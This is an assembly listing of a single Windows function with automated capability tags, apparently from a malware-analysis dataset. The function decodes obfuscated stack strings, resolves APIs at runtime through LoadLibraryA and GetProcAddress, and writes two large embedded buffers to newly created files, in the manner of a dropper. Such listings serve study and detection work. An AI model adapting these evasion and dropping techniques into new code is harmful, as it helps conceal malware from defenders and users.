Function at 0x402cbc
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push 0x3fc
mov eax, 0x560c62
call fcn.00541fec
movaps xmm0, xmmword [str.QcwlKosmN]
lea ecx, [ebp - 0x30]
push 0xc
pop edx
mov dword [ebp - 0x30], 0x7b6f6a54
mov dword [ebp - 0x2c], 0x36707666
mov dword [ebp - 0x28], 0x77766d
movups xmmword [ebp - 0xb4], xmm0
call fcn.0040349a
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call edi
push 0x10
pop edx
lea ecx, [ebp - 0xb4]
mov esi, eax
call fcn.0040349a
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
push esi
call ebx
push 0x208
lea eax, [ebp - 0x3c0]
push 0
push eax
call fcn.00543870
movaps xmm0, xmmword [0x5a4ea0]
lea ecx, [ebp - 0x58]
add esp, 0xc
mov dword [ebp - 0x58], 0x7275674c
xor eax, eax
mov dword [ebp - 0x54], 0x3a3a726a
mov dword [ebp - 0x50], 0x78776e37
mov byte [ebp - 0x4c], al
push 0xd
pop edx
mov dword [ebp - 0x3c], 0x77726e44
mov dword [ebp - 0x38], 0x76684e6a
mov dword [ebp - 0x34], 0x70766d
mov dword [ebp - 0x48], 0x65687444
mov dword [ebp - 0x44], 0x714d6b79
mov dword [ebp - 0x40], 0x4c6f75
mov dword [ebp - 0x24], 0x786c7458
mov dword [ebp - 0x20], 0x74704c6a
mov word [ebp - 0x1c], 0x6e
mov dword [ebp - 0x68], 0x58776748
mov dword [ebp - 0x64], 0x5877736a
mov dword [ebp - 0x60], 0x4d737e6a
mov byte [ebp - 0x5c], al
movups xmmword [ebp - 0x7c], xmm0
mov word [ebp - 0x6c], 0x6976
mov byte [ebp - 0x6a], al
call fcn.0040349a
push eax
call edi
push 0xc
pop edx
lea ecx, [ebp - 0x3c]
mov edi, eax
call fcn.0040349a
push eax
push edi
call ebx
push 0xc
pop edx
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x408], eax
call fcn.0040349a
push eax
push edi
call ebx
push 0xa
pop edx
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x404], eax
call fcn.0040349a
push eax
push edi
call ebx
mov dword [ebp - 0x400], eax
push 0x13
pop edx
lea ecx, [ebp - 0x7c]
call fcn.0040349a
push eax
push edi
call ebx
push 0xd
pop edx
lea ecx, [ebp - 0x68]
mov esi, eax
call fcn.0040349a
push eax
push edi
call ebx
mov edi, eax
call fcn.00402ba5
mov ebx, 0x104
lea eax, [ebp - 0x3c0]
push ebx
push eax
push 0
call esi
call fcn.00402ba5
xor eax, eax
mov dword [ebp - 0x3c4], 0xf
mov dword [ebp - 0x3d8], eax
mov dword [ebp - 0x3c8], eax
mov byte [ebp - 0x3d8], al
mov dword [ebp - 4], eax
call fcn.00402ba5
lea eax, [ebp - 0x1b8]
push eax
push ebx
call edi
movaps xmm0, xmmword [str.djusrkZm]
lea eax, [ebp - 0x1b8]
push eax
lea ecx, [ebp - 0x3fc]
mov dword [ebp - 0x18], 0x325b4749
mov dword [ebp - 0x14], 0x737269
xor ebx, ebx
movups xmmword [ebp - 0x90], xmm0
mov word [ebp - 0x80], 0x76
call fcn.004030c9
lea ecx, [ebp - 0x1b8]
mov byte [ebp - 4], 1
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402eb5
sub ecx, edx
lea eax, [ebp - 0x1b8]
push ecx
push eax
lea ecx, [ebp - 0x3d8]
call fcn.0040316c
push 8
pop edx
lea ecx, [ebp - 0x18]
call fcn.0040349a
mov edx, eax
lea esi, [edx + 1]
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x402ee1
sub edx, esi
lea ecx, [ebp - 0x3fc]
push edx
push eax
call fcn.004031b8
push 0x12
pop edx
lea ecx, [ebp - 0x90]
call fcn.0040349a
mov edx, eax
lea esi, [edx + 1]
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x402f0a
sub edx, esi
lea ecx, [ebp - 0x3d8]
push edx
push eax
call fcn.004031b8
mov eax, dword [ebp - 0x3c8]
xor ecx, ecx
add eax, 0xa
setb cl
neg ecx
or ecx, eax
push ecx
push 1
call fcn.0054aaab
cmp dword [ebp - 0x3c4], 0x10
lea ecx, [ebp - 0x3d8]
push dword [ebp - 0x3c8]
cmovae ecx, dword [ebp - 0x3d8]
push ecx
push eax
call fcn.005432f0
mov esi, dword [ebp - 0x404]
lea eax, [ebp - 0x3d8]
add esp, 0x14
mov dword [ebp - 0x3e0], ebx
cmp dword [ebp - 0x3c4], 0x10
mov dword [ebp - 0x3e4], 0x63a70
cmovae eax, dword [ebp - 0x3d8]
push ebx
push 0x80
push 2
push ebx
push ebx
mov ebx, 0x40000000
mov dword [ebp - 0x3dc], 0xc1610
push ebx
push eax
call esi
cmp dword [ebp - 0x3e8], 0x10
lea ecx, [ebp - 0x3fc]
mov edi, eax
cmovae ecx, dword [ebp - 0x3fc]
xor eax, eax
push eax
push 0x80
push 2
push eax
push eax
push ebx
push ecx
call esi
mov ebx, eax
cmp edi, 0xffffffff
je 0x403023
movaps xmm0, xmmword [str.ktrmktk]
lea ecx, [ebp - 0xa4]
push 0x11
pop edx
movups xmmword [ebp - 0xa4], xmm0
mov byte [ebp - 0x94], 0
call fcn.0040349a
mov esi, eax
lea eax, [ebp - 0x3e4]
push ecx
push eax
push 0x683030
mov ecx, esi
call fcn.004040c8
pop ecx
pop ecx
lea eax, [ebp - 0x3dc]
mov ecx, esi
push eax
push 0x5c1a20
call fcn.004040c8
add esp, 0xc
cmp dword [ebp - 0x3c4], 0x10
lea eax, [ebp - 0x3d8]
push dword [ebp - 0x3c8]
cmovae eax, dword [ebp - 0x3d8]
mov ecx, 0x6e6aa0
push eax
call fcn.0040316c
push 0
lea eax, [ebp - 0x3e0]
push eax
push dword [ebp - 0x3dc]
push 0
push ebx
call dword [ebp - 0x400]
mov esi, dword [ebp - 0x408]
push ebx
call esi
push 0
lea eax, [ebp - 0x3e0]
push eax
push dword [ebp - 0x3e4]
push 0
push edi
call dword [ebp - 0x400]
push edi
call esi
lea ecx, [ebp - 0x3fc]
call fcn.004030a5
lea ecx, [ebp - 0x3d8]
call fcn.004030a5
mov eax, 0x1dcc416
call fcn.00541f9b
ret